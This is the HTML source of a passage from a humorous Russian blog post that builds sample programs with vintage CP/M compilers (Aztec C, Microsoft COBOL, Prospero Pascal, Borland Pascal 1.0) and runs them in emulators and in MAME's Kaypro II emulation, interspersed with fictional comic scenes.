  &lt;p id=&quot;45NC&quot;&gt;Цепочка необходимых действий выглядит следующим образом:&lt;/p&gt;
  &lt;ul id=&quot;7V5R&quot;&gt;
    &lt;li id=&quot;UYyu&quot;&gt;Сборка;&lt;/li&gt;
    &lt;li id=&quot;g6F0&quot;&gt;Тестовый запуск с помощью &lt;code&gt;ntvcm&lt;/code&gt;;&lt;/li&gt;
    &lt;li id=&quot;LIv7&quot;&gt;Запуск с помощью &lt;code&gt;myz80;&lt;/code&gt;&lt;/li&gt;
    &lt;li id=&quot;uUCH&quot;&gt;Запуск в Mame с образом настоящего Kaypro II;&lt;/li&gt;
    &lt;li id=&quot;YTa4&quot;&gt;Сеанс рукоблуд.. ээ переход к следующему примеру.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;2C8a&quot;&gt;И начнем мы с того самого примера, показанного на заглавной картинке в фоне.&lt;/p&gt;
  &lt;p id=&quot;jnwU&quot;&gt;Сразу предупреждаю: &lt;/p&gt;
  &lt;blockquote id=&quot;ElwF&quot;&gt;собираем &lt;em&gt;только самые простые&lt;/em&gt; варианты, так как каждый сложный имеет свою специфику, требующую отдельного описания.&lt;/blockquote&gt;
  &lt;p id=&quot;6imC&quot;&gt;Но даже в этом случае показать получится очень далеко не все — интересных компиляторов и тулчейнов в репозитории просто чудовищное количество.&lt;/p&gt;
  &lt;p id=&quot;iiYh&quot;&gt;Начнем разумеется с компилятора языка С, но.. &lt;strong&gt;особенного&lt;/strong&gt;.&lt;/p&gt;
  &lt;h2 id=&quot;ScY5&quot;&gt;&lt;strong&gt;Aztec C&lt;/strong&gt;&lt;/h2&gt;
  &lt;p id=&quot;wvOr&quot;&gt;Спасая цитату из погибающей &lt;a href=&quot;https://en.wikipedia.org/wiki/Aztec_C&quot; target=&quot;_blank&quot;&gt;википедии&lt;/a&gt;:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;pfdC&quot;&gt;&lt;strong&gt;Aztec C&lt;/strong&gt; is a discontinued &lt;a href=&quot;https://en.wikipedia.org/wiki/C_(programming_language)&quot; target=&quot;_blank&quot;&gt;C programming language&lt;/a&gt; &lt;a href=&quot;https://en.wikipedia.org/wiki/Compiler&quot; target=&quot;_blank&quot;&gt;compiler&lt;/a&gt; for &lt;a href=&quot;https://en.wikipedia.org/wiki/CP/M&quot; target=&quot;_blank&quot;&gt;CP/M-80&lt;/a&gt;, &lt;a href=&quot;https://en.wikipedia.org/wiki/MS-DOS&quot; target=&quot;_blank&quot;&gt;MS-DOS&lt;/a&gt;, &lt;a href=&quot;https://en.wikipedia.org/wiki/Apple_II&quot; target=&quot;_blank&quot;&gt;Apple II&lt;/a&gt; (both &lt;a href=&quot;https://en.wikipedia.org/wiki/Apple_DOS&quot; target=&quot;_blank&quot;&gt;Apple DOS&lt;/a&gt; 3.3 and &lt;a href=&quot;https://en.wikipedia.org/wiki/ProDOS&quot; target=&quot;_blank&quot;&gt;ProDOS&lt;/a&gt;), &lt;a href=&quot;https://en.wikipedia.org/wiki/Commodore_64&quot; target=&quot;_blank&quot;&gt;Commodore 64&lt;/a&gt;, early &lt;a href=&quot;https://en.wikipedia.org/wiki/Macintosh&quot; target=&quot;_blank&quot;&gt;Macintosh&lt;/a&gt;, &lt;a href=&quot;https://en.wikipedia.org/wiki/Amiga&quot; target=&quot;_blank&quot;&gt;Amiga&lt;/a&gt;, and &lt;a href=&quot;https://en.wikipedia.org/wiki/Atari_ST&quot; target=&quot;_blank&quot;&gt;Atari ST&lt;/a&gt;. It was sold commercially by Manx Software Systems&lt;a href=&quot;https://en.wikipedia.org/wiki/Aztec_C#cite_note-byte_84_dec_manx_c_compilers-1&quot; target=&quot;_blank&quot;&gt;[1]&lt;/a&gt;.&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;fN77&quot;&gt;Судя по обнаруженным материалам, это был весьма известный и популярный продукт для тех лет. &lt;/p&gt;
  &lt;p id=&quot;q7JZ&quot;&gt;А еще это &lt;a href=&quot;https://www.aztecmuseum.ca/intro.htm&quot; target=&quot;_blank&quot;&gt;вариация языка С&lt;/a&gt; &lt;strong&gt;до стандартизации&lt;/strong&gt;, поэтому и называется не просто компилятором, а прям &lt;em&gt;отдельным языком&lt;/em&gt;:&lt;/p&gt;
  &lt;blockquote id=&quot;b4RQ&quot;&gt;Aztec C — a programming language for a variety of platforms&lt;/blockquote&gt;
  &lt;p id=&quot;LYdX&quot;&gt;Редкое для современных бюрократических реалий зрелище: компилятор, забивающий на стандарты и правила.&lt;/p&gt;
  &lt;p id=&quot;yC4g&quot;&gt;Так выглядела обложка &lt;a href=&quot;https://www.reddit.com/r/amiga/comments/1ael3bu/manx_aztec_c_user_guide_5/&quot; target=&quot;_blank&quot;&gt;руководства пользователя&lt;/a&gt;, версии для Amiga:&lt;/p&gt;
  &lt;figure id=&quot;86kM&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/47/2b/472b4d1d-ecfb-4fb6-b662-5c65d12b94c0.jpeg&quot; width=&quot;1600&quot; /&gt;
    &lt;figcaption&gt;На фото плохо видно, но коробка справа тряпичная, примерно как упаковка дорогого вина или часов.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;2sB7&quot;&gt;А вот так выглядел каталог с &lt;a href=&quot;https://www.generation-msx.nl/software/manx-software-systems/aztec-c/release/8311/&quot; target=&quot;_blank&quot;&gt;компилятором в версии для MSX&lt;/a&gt;:&lt;/p&gt;
  &lt;figure id=&quot;eaPl&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/ae/2e/ae2e680c-6c02-4d57-8f47-c643a5a6143e.png&quot; width=&quot;544&quot; /&gt;
    &lt;figcaption&gt;1982 год, о здоровье глаз тогда еще не заботились.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;iSaF&quot;&gt;Так что это был популярный и известный инструмент, с &lt;a href=&quot;https://archive.org/details/byte-magazine-1984-12-rescan/page/n61/mode/2up&quot; target=&quot;_blank&quot;&gt;весьма скромными прайсами&lt;/a&gt;:&lt;/p&gt;
  &lt;figure id=&quot;W4pG&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/62/d7/62d76332-7309-469a-bd85-9aa09be346d6.png&quot; width=&quot;658&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;0w35&quot;&gt;Сложно из 2026 года оценивать цены 1980х, но судя по прайсу выше, Aztec C был явно не самым дорогим софтом, тем более для разработчиков.&lt;/p&gt;
  &lt;p id=&quot;X6nw&quot;&gt;Но мы опять отвлеклись.&lt;/p&gt;
  &lt;p id=&quot;HcKe&quot;&gt;Переходим в каталог &lt;code&gt;manx aztec c v106d&lt;/code&gt; и запускаем сборку примера:&lt;/p&gt;
  &lt;pre id=&quot;SAOH&quot; data-lang=&quot;bash&quot;&gt;./m.sh EXMPL&lt;/pre&gt;
  &lt;p id=&quot;zuqP&quot;&gt;Да, обязательно КАПСЛОКОМ и обязательно без указания расширения, поскольку в скрипте идет вызов как компилятора, так и линковщика.&lt;/p&gt;
  &lt;p id=&quot;D2sk&quot;&gt;Будет собран COM-файл для CP/M, который проще всего запустить с помощью эмулятора от автора репозитория:&lt;/p&gt;
  &lt;pre id=&quot;6laM&quot; data-lang=&quot;bash&quot;&gt;ntvcm EXMPL.COM&lt;/pre&gt;
  &lt;p id=&quot;nwUf&quot;&gt;Так весь процесс выглядит в действии:&lt;/p&gt;
  &lt;figure id=&quot;XdMH&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/4c/51/4c51df80-b43f-4027-9ea3-16ed14963edd.gif&quot; width=&quot;800&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;lsCv&quot;&gt;Теперь запустим на втором эмуляторе — &lt;code&gt;MYZ80&lt;/code&gt;, чтобы убедиться в корректности только что собранного приложения.&lt;/p&gt;
  &lt;p id=&quot;tghl&quot;&gt;Копируем созданный &lt;code&gt;EXMPL.COM&lt;/code&gt; в каталог с эмулятором и запускаем его через Dosbox:&lt;/p&gt;
  &lt;pre id=&quot;0JCm&quot; data-lang=&quot;bash&quot;&gt;cp ../../src/cpm_compilers/manx\ aztec\ c\ v106d/EXMPL.COM .
dosbox MYZ80.EXE&lt;/pre&gt;
  &lt;p id=&quot;12js&quot;&gt;Затем, уже из CP/M выполняем:&lt;/p&gt;
  &lt;pre id=&quot;YxsZ&quot;&gt;import EXMPL.COM&lt;/pre&gt;
  &lt;p id=&quot;sGBU&quot;&gt;Этим действием, файл будет скопирован с хоста в виртуальный диск (дискету) CP/M, откуда его наконец можно будет запустить:&lt;/p&gt;
  &lt;pre id=&quot;RWAp&quot;&gt;EXMPL&lt;/pre&gt;
  &lt;p id=&quot;2NJG&quot;&gt;В действии:&lt;/p&gt;
  &lt;figure id=&quot;BQZX&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/4d/bc/4dbcd333-2e0d-415f-b655-da85426a172a.gif&quot; width=&quot;800&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;mv8X&quot;&gt;Наконец в качестве &lt;s&gt;дембельского аккорда&lt;/s&gt; контрольного примера, показываю запуск и работу в Mame.&lt;/p&gt;
  &lt;p id=&quot;RU0Z&quot;&gt;Переходим в каталог с &lt;code&gt;cpmtools&lt;/code&gt; и выполняем:&lt;/p&gt;
  &lt;pre id=&quot;Kktb&quot; data-lang=&quot;bash&quot;&gt;./cpmcp -f kpii ../../work/kayproii-machine/test2.dsk ../cpm_compilers/manx\ aztec\ c\ v106d/EXMPL.COM 0:EXMPL.COM&lt;/pre&gt;
  &lt;p id=&quot;dDuT&quot;&gt;Этим действием мы запишем наше собранное приложение &lt;code&gt;EXMPL.COM&lt;/code&gt; в образ дискеты для Kaypro II.&lt;/p&gt;
  &lt;p id=&quot;GhtQ&quot;&gt;Для проверки выполняем:&lt;/p&gt;
  &lt;pre id=&quot;0bau&quot; data-lang=&quot;bash&quot;&gt;./cpmcp -f kpii ../../work/kayproii-machine/test2.dsk&lt;/pre&gt;
  &lt;p id=&quot;Tt7g&quot;&gt;Должно быть видно содержимое образа дискеты, с новым файлом внутри:&lt;/p&gt;
  &lt;figure id=&quot;OXGx&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/60/51/6051b401-e8e9-4a67-9022-952decfff5be.png&quot; width=&quot;854&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Lw8E&quot;&gt;Наконец запускаем максимально близкую к реальности эмуляцию компьютера Kaypro II в Mame:&lt;/p&gt;
  &lt;pre id=&quot;vmeC&quot; data-lang=&quot;bash&quot;&gt;mame kayproii -w -rompath ./roms -flop1 disks/KAY64CPM.IMD -flop2 test2.dsk&lt;/pre&gt;
  &lt;p id=&quot;vnnf&quot;&gt;Так это выглядит в действии:&lt;/p&gt;
  &lt;figure id=&quot;iLl8&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/ac/90/ac90e06f-ca5a-4353-80b5-a15d72d3f0b5.gif&quot; width=&quot;800&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;3ffB&quot;&gt;Чтобы не раздувать статью до совсем уж скотских размеров, для всех остальных компиляторов покажу только финальный запуск в Mame.&lt;/p&gt;
  &lt;p id=&quot;tqft&quot;&gt;Пусть ваше больное воображение дорисует недостающее.&lt;/p&gt;
  &lt;p id=&quot;iw8t&quot;&gt;..&lt;/p&gt;
  &lt;p id=&quot;vet6&quot;&gt;— Ладно, думаю мы договорились.&lt;/p&gt;
  &lt;p id=&quot;q0fM&quot;&gt;— Небольшое приложение для Kaypro II образца 1987 года, для причинения моральных страданий немецкому инженеру. &lt;/p&gt;
  &lt;p id=&quot;isV9&quot;&gt;На этом мой гость задумался, как будто вспоминая важную деталь.&lt;/p&gt;
  &lt;p id=&quot;tgED&quot;&gt;— Как же оно называется? Туда запихиваются такие плоские черные штуки? Д.. дди.. доо..&lt;/p&gt;
  &lt;p id=&quot;1xks&quot;&gt;— Дисковод, для дискет.&lt;/p&gt;
  &lt;p id=&quot;Dx7d&quot;&gt;— Работу необходимо сдать на 5.25 дискете, я понял.&lt;/p&gt;
  &lt;p id=&quot;m6ds&quot;&gt;Это был первый раз в моей жизни, когда надо было сдать работу на пятидюймовой дискете.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;SCAV&quot;&gt;Но с учетом роста цен на чипы памяти и SSD — думаю далеко не последний.&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;0V1I&quot;&gt;(гомерический хохот за кадром)&lt;/p&gt;
  &lt;p id=&quot;xATj&quot;&gt;Закончив переговоры, мой гость попрощался и ушел, оставив меня в глубоких раздумьях об истинной природе вещей.&lt;/p&gt;
  &lt;blockquote id=&quot;SRgk&quot;&gt;О том, что не надо упарываться, коль жизнь подбросила уже упоротый проект. &lt;/blockquote&gt;
  &lt;p id=&quot;di9H&quot;&gt;Чтобы потом не размазывать собственное говно по стенам и потолку в процессе отладки.&lt;/p&gt;
  &lt;p id=&quot;U1S2&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;lAQ3&quot;&gt;Но работа есть работа и вскоре я приступил к насилию над поисковыми системами, рыская по сети в поисках археотеха, способного помочь с разработкой под столь лютый винтаж.&lt;/p&gt;
  &lt;figure id=&quot;FSkE&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/84/bc/84bc4440-2f41-44c7-8262-09ceeb8c3681.jpeg&quot; width=&quot;756&quot; /&gt;
    &lt;figcaption&gt;Так выглядела обложка от оригинальной упаковки с комплектом дискет.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;h1 id=&quot;hCYO&quot;&gt;Microsoft COBOL &lt;/h1&gt;
  &lt;p id=&quot;yLtN&quot;&gt;Малоизвестный ныне факт, но компания Microsoft когда-то &lt;a href=&quot;https://www.roug.org/retrocomputing/languages/cobol/microsoft&quot; target=&quot;_blank&quot;&gt;продавала компилятор COBOL&lt;/a&gt;:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;qPjm&quot;&gt;Microsoft produced a COBOL compiler for CP/M. This product was also licensed to IBM as IBM Cobol Compiler.&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;U5Sw&quot;&gt;Я собрал и запустил пример, который производит вычисление корня &lt;a href=&quot;https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D1%82%D0%BE%D0%B4_%D0%9D%D1%8C%D1%8E%D1%82%D0%BE%D0%BD%D0%B0&quot; target=&quot;_blank&quot;&gt;методом Ньютона&lt;/a&gt;:&lt;/p&gt;
  &lt;pre id=&quot;cus2&quot; data-lang=&quot;bash&quot;&gt;./m.sh SQUARO&lt;/pre&gt;
  &lt;p id=&quot;HH7u&quot;&gt;Для запуска помимо &lt;code&gt;SQUARO.COM&lt;/code&gt; надо перебросить в эмулятор еще и файл &lt;code&gt;RUNCOB.COM&lt;/code&gt;,иначе не заработает.&lt;/p&gt;
  &lt;p id=&quot;Glax&quot;&gt;Так этот пример выглядит в работе, на фоне (в редакторе) можно заметить исходный код на COBOL:&lt;/p&gt;
  &lt;figure id=&quot;X0CU&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/b0/e8/b0e88903-6a7a-46ce-bae5-0c5881a0258f.gif&quot; width=&quot;800&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;VQvq&quot;&gt;Microsoft COBOL оказался хотя и интересным, но все же мало актуальным компилятором, так и не нашедшим широкого применения в свое время. &lt;/p&gt;
  &lt;blockquote id=&quot;VWjU&quot;&gt;Врядли приложение на COBOL было лучшим вариантом, чтобы утереть нос немецкому коллеге-инженеру. &lt;/blockquote&gt;
  &lt;p id=&quot;nPWb&quot;&gt;Так что я стал искать дальше.&lt;/p&gt;
  &lt;p id=&quot;lBAA&quot;&gt;Однако был еще один важный вопрос, который стоило закрыть прежде чем выбрать наконец язык реализации.&lt;/p&gt;
  &lt;p id=&quot;1MGj&quot;&gt;..&lt;/p&gt;
  &lt;p id=&quot;ar9o&quot;&gt;alex0x08: дарова!&lt;/p&gt;
  &lt;p id=&quot;eWHA&quot;&gt;alex0x08: нужны тайные знания ордена&lt;/p&gt;
  &lt;p id=&quot;q6Ap&quot;&gt;alecv: излагай&lt;/p&gt;
  &lt;p id=&quot;Jb2I&quot;&gt;alex0x08: надо программку одну запустить, на железе из 1987 года :)&lt;/p&gt;
  &lt;p id=&quot;neKh&quot;&gt;alex0x08: только что собрал&lt;/p&gt;
  &lt;p id=&quot;mQnr&quot;&gt;alex0x08: да, я трезвый&lt;/p&gt;
  &lt;p id=&quot;pmRl&quot;&gt;alecv: эк же тебя жизнь скрутила..&lt;/p&gt;
  &lt;p id=&quot;331o&quot;&gt;alecv: нет чтобы как все — миксуешь себе Сlaude Соde с фентанилом да вбиваешь промпты, представляя что ты в LA..&lt;/p&gt;
  &lt;p id=&quot;ac45&quot;&gt;alecv: ладно, поможем&lt;/p&gt;
  &lt;p id=&quot;swct&quot;&gt;alecv: скидывай сборку&lt;/p&gt;
  &lt;p id=&quot;uWYf&quot;&gt;..&lt;/p&gt;
  &lt;figure id=&quot;h4YV&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/b2/b7/b2b7ff74-d73e-4899-ab02-4039bde2289c.jpeg&quot; width=&quot;1456&quot; /&gt;
    &lt;figcaption&gt;Единственное фото дискеты с этим компилятором,  которое удалось найти&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;Cn4B&quot;&gt;Pro Pascal &lt;/h2&gt;
  &lt;p id=&quot;xcA0&quot;&gt;Кто ищет — всегда находит, поэтому очень скоро обнаружилась еще одна невероятная &lt;s&gt;дичь&lt;/s&gt; редкость:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;mn3f&quot;&gt;&lt;a href=&quot;https://www.atarimagazines.com/st-log/issue34/84_1_REVIEW_PROSPERO_PASCAL.php&quot; target=&quot;_blank&quot;&gt;Prospero Pascal&lt;/a&gt; is a full-featured Pascal that includes everything you need to begin writing stand-alone programs for your Atari ST.&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;1a54&quot;&gt;Компилятор Паскаля для 8-битных компьютеров &lt;s&gt;с блекджеком и блудницами&lt;/s&gt; с дополнениями и доработками:&lt;/p&gt;
  &lt;blockquote id=&quot;QGfc&quot;&gt;Prospero Pascal is a superset of ISO Standard Pascal. In addition to the standard features, this package offers a number of extensions including dynamic strings, single- and double-precision floating-point arithmetic, an assembler-level interface, and separate compilation of program segments. Moreover, Prospero Pascal offers a high degree of portability.&lt;/blockquote&gt;
  &lt;p id=&quot;BuQu&quot;&gt;Динамические строки, вычисления с плавающей точкой, поддержка ассемблерных вставок и все это в 1983м году! &lt;/p&gt;
  &lt;p id=&quot;gZmK&quot;&gt;На Паскале и под Atari, если кто вдруг не понял.&lt;/p&gt;
  &lt;p id=&quot;gwiW&quot;&gt;Разработкой занималась маленькая британская компания &lt;a href=&quot;https://www.edm2.com/index.php/Prospero_Software&quot; target=&quot;_blank&quot;&gt;Prospero Software&lt;/a&gt;, закрытая к 1998му году.&lt;/p&gt;
  &lt;p id=&quot;edN4&quot;&gt;В качестве примера была взята реализация &amp;quot;&lt;a href=&quot;https://en.wikipedia.org/wiki/Conway&amp;#x27;s_Game_of_Life&quot; target=&quot;_blank&quot;&gt;симулятора жизни&lt;/a&gt;&amp;quot;:&lt;/p&gt;
  &lt;pre id=&quot;TCka&quot;&gt;./m.sh LIFE&lt;/pre&gt;
  &lt;p id=&quot;7z7n&quot;&gt;К сожалению автоматически (из скрипта сборки) оно не линкуется, так что пришлось вызывать этот шаг отдельно:&lt;/p&gt;
  &lt;pre id=&quot;crFx&quot; data-lang=&quot;bash&quot;&gt;ntvcm PROLINK.COM LIFE,PASLIB/S&lt;/pre&gt;
  &lt;p id=&quot;LHgY&quot;&gt;Так эта программа выглядит в работе:&lt;/p&gt;
  &lt;figure id=&quot;7BGG&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/01/59/0159e1d0-67df-4ae9-a8f0-99a96b4bca1a.gif&quot; width=&quot;800&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;z6Bk&quot;&gt;Все выше конечно весьма занимательные (для археологов и некрофилов) штуки, но самое интересное я приберег напоследок.&lt;/p&gt;
  &lt;p id=&quot;dssr&quot;&gt;..&lt;/p&gt;
  &lt;p id=&quot;xr6M&quot;&gt;Пару дней спустя я сидел в кафе напротив &lt;a href=&quot;https://ru.wikipedia.org/wiki/%D0%9A%D0%B0%D0%B7%D0%B0%D0%BD%D1%81%D0%BA%D0%B8%D0%B9_%D1%81%D0%BE%D0%B1%D0%BE%D1%80_(%D0%A1%D0%B0%D0%BD%D0%BA%D1%82-%D0%9F%D0%B5%D1%82%D0%B5%D1%80%D0%B1%D1%83%D1%80%D0%B3)&quot; target=&quot;_blank&quot;&gt;Казанского собора&lt;/a&gt;, наслаждаясь утренним кофе и редким для этих мест ярким солнцем.&lt;/p&gt;
  &lt;p id=&quot;B88p&quot;&gt;Внезапно мне в бок воткнулось что-то твердое и холодное.&lt;/p&gt;
  &lt;p id=&quot;2r4h&quot;&gt;— Не оборачивайся, не задавай вопросов. &lt;/p&gt;
  &lt;p id=&quot;g7K8&quot;&gt;Незнакомец что-то положил в карман моего пальто.&lt;/p&gt;
  &lt;p id=&quot;o0Vw&quot;&gt;— Посылка доставлена, внутри найдешь пятидюймовую дискету с записью сборки для твоего заказчика. &lt;/p&gt;
  &lt;p id=&quot;miYz&quot;&gt;— Достаточно воткнуть ее в дисковод.&lt;/p&gt;
  &lt;p id=&quot;KVGu&quot;&gt;— Но как вы.. как вы смогли записать ее в 2026м году?!&lt;/p&gt;
  &lt;p id=&quot;dcPM&quot;&gt;— Тайны ордена, посторонним знать не положено. &lt;/p&gt;
  &lt;p id=&quot;tj0m&quot;&gt;— На этом все.&lt;/p&gt;
  &lt;p id=&quot;eDWo&quot;&gt;Давление на мой бок ослабло и незнакомец исчез.&lt;/p&gt;
  &lt;p id=&quot;6iXQ&quot;&gt;&lt;/p&gt;
  &lt;figure id=&quot;UdjK&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/95/97/9597f5db-c95b-4560-a922-4dc982ea3c36.png&quot; width=&quot;1737&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;i8Af&quot;&gt;Borland Pascal 1.0&lt;/h2&gt;
  &lt;p id=&quot;WMI6&quot;&gt;Тот самый Паскаль, ставший для многих &lt;s&gt;первой любовью&lt;/s&gt; первым языком программирования, поскольку именно на нем много лет обучали кодингу в школах и некоторых ВУЗах этой страны. &lt;/p&gt;
  &lt;blockquote id=&quot;LSDB&quot;&gt;В результате чего появлялись на свет такие как автор, для которого Паскаль тоже когда-то был самым первым.&lt;/blockquote&gt;
  &lt;p id=&quot;GL3v&quot;&gt;Но то что я сейчас покажу — не просто «какой-то там Паскаль» и даже не «какой-то там Паскаль» от фирмы &lt;a href=&quot;https://en.wikipedia.org/wiki/Borland&quot; target=&quot;_blank&quot;&gt;Borland&lt;/a&gt;, ставшей законодательницей мод в паскалестроении. &lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;Q4LN&quot;&gt;Это его первая релизная версия, с которой все началось.&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;MKG7&quot;&gt;А еще с первой версии стартовала история и знаменитой среды разработки, с помощью которой осуществлялась сборка и отладка программ.&lt;/p&gt;
  &lt;p id=&quot;E2DT&quot;&gt;Вот он, тот самый &lt;code&gt;TURBO.COM&lt;/code&gt;, который позже превратится в &lt;code&gt;TURBO.EXE&lt;/code&gt;: &lt;/p&gt;
  &lt;figure id=&quot;47dn&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/7b/bd/7bbd87fc-f291-469d-9c3e-35a241bad2df.png&quot; width=&quot;1131&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;FotJ&quot;&gt;Кусочек руководства пользователя с адресом «небольшой компании-стартапа» на просторах Калифорнии:&lt;/p&gt;
  &lt;figure id=&quot;rak3&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/27/32/273270f5-dc3e-4819-9fc1-d9708de2c86a.png&quot; width=&quot;774&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Mu7n&quot;&gt;А я почему-то всегда был уверен, что Borland начиналась как европейская компания — удивительные открытия порой приносит компьютерная археология.&lt;/p&gt;
  &lt;p id=&quot;Yn6U&quot;&gt;Для тестов, были скопированы &lt;code&gt;TURBO.COM&lt;/code&gt; и &lt;code&gt;HELLO.PAS&lt;/code&gt; на образ дискеты, который затем подключили в эмулятор.&lt;/p&gt;
  &lt;p id=&quot;F2ve&quot;&gt;Код &lt;code&gt;HELLO.PAS&lt;/code&gt; это классический «Hello, world», с которого начинали свой трудовой путь и карьеру все программисты:&lt;/p&gt;
  &lt;pre id=&quot;bM8l&quot; data-lang=&quot;pascal&quot;&gt;program hello;

begin
    writeln( &amp;#x27;hello davidly&amp;#x27; );
end.&lt;/pre&gt;
  &lt;p id=&quot;1e3t&quot;&gt;К сведению, &lt;code&gt;davidly&lt;/code&gt; это ник дедушки-автора, собравшего сей сказочный репозиторий. &lt;/p&gt;
  &lt;p id=&quot;UrWN&quot;&gt;Так все действо выглядит в эмуляторе Mame:&lt;/p&gt;
  &lt;figure id=&quot;o1lF&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/a5/fd/a5fde706-bf34-493c-b163-d2d47a54cda7.gif&quot; width=&quot;800&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;J192&quot;&gt;НЕЛЕГКИЙ ВЫБОР&lt;/h2&gt;
  &lt;p id=&quot;0onT&quot;&gt;Итак, у меня набралось четыре варианта на выбор:&lt;/p&gt;
  &lt;ul id=&quot;ggcW&quot;&gt;
    &lt;li id=&quot;oUP7&quot;&gt;Первая релизная версия Borland Pascal;&lt;/li&gt;
    &lt;li id=&quot;vPXb&quot;&gt;Редкая версия Pascal, с крутыми (для 1983 года) фичами;&lt;/li&gt;
    &lt;li id=&quot;NMem&quot;&gt;Microsoft COBOL, без комментариев.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;YdAJ&quot;&gt;И конечно же Aztec C — реализация языка С до его стандартизации, настоящий артефакт.&lt;/p&gt;
  &lt;p id=&quot;954G&quot;&gt;Надо было выбрать что-то одно и я решил кинуть кости, оставшиеся в офисе со времен бурной молодости:&lt;/p&gt;
  &lt;p id=&quot;DGGo&quot;&gt;&lt;/p&gt;
  &lt;figure id=&quot;hu7L&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/a0/00/a0002839-a2d4-42f2-8345-85362d2c3483.jpeg&quot; width=&quot;474&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Qxrv&quot;&gt;Мысленно назначив каждому варианту по грани, я подбросил кубик в воздух, поймал и медленно положил на стол, накрыв ладонью.&lt;/p&gt;
  &lt;p id=&quot;j5LN&quot;&gt;Что выбрала для меня судьба?&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;qHvn&quot; data-align=&quot;center&quot;&gt;И.. да, это Aztec C. &lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;z5eO&quot;&gt;(бурные аплодисменты)&lt;/p&gt;
  &lt;p id=&quot;Zmn2&quot;&gt;Но не потому, что верю в судьбу или так подсказал какой-то сраный кубик. Просто в любой непонятной ситуации я всегда выбираю Си.&lt;/p&gt;
  &lt;p id=&quot;kkUB&quot;&gt;И такой подход еще ни разу не подводил.&lt;/p&gt;
  &lt;figure id=&quot;UQZe&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/af/91/af91bad8-95c6-4614-995c-bee8f1057f22.jpeg&quot; width=&quot;1280&quot; /&gt;
    &lt;figcaption&gt;В такое безусловно сложно поверить далекому от Сант-Петербурга обывателю, но это настоящий барельеф с масонским гербом.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;XkWq&quot;&gt;ПОСЛЕДНЯЯ ПРОВЕРКА&lt;/h2&gt;
  &lt;p id=&quot;s7jy&quot;&gt;Старый, дореволюционной постройки дом в самом центре Питера, с гербом масонского ордена на барельефах разумеется привлекал внимание туристов, наделавших немалое количество селфи на его фоне. &lt;/p&gt;
  &lt;blockquote id=&quot;cFf0&quot;&gt;Но мало кто даже из коренных петербуржцев догадывался, что находится внутри.&lt;/blockquote&gt;
